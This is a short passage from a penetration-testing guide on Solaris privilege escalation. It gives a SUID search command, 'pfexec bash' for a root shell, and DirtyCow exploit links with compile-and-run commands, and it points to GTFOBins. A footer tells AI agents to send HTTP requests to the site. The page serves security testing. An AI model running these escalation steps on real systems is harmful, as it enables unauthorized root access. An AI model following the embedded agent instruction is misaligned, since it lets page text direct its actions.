# Solaris

## Exploit Suggester

Check for issues using [Exploit Suggester ](/infrastructure-testing/privilege-esclation/automated-tools.md#solaris-exploit-suggester)

## pfexec

The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec\_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively.&#x20;

If we find SUID binary &#x20;

Find / -perm -u=s -type f 2>/dev/null&#x20;

pfexec bash&#x20;

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2F0AFMrtELlZYPm1lJvIBT%2Ffile.png?alt=media)

## DirtyCow

<https://github.com/exrienz/DirtyCow>&#x20;

<https://github.com/dirtycow/dirtycow.github.io>&#x20;

Usage Example For 32 Bit&#x20;

```
gcc dc32.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

Usage Example For 64 Bit&#x20;

```
gcc dc64.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

## GTFOBins

Consider looking for Sudo misconfiguration as well

More information on [GTFOBins](/infrastructure-testing/privilege-esclation/linux.md#sudo-misconfiguration)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infra.newerasec.com/infrastructure-testing/privilege-esclation/solaris.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
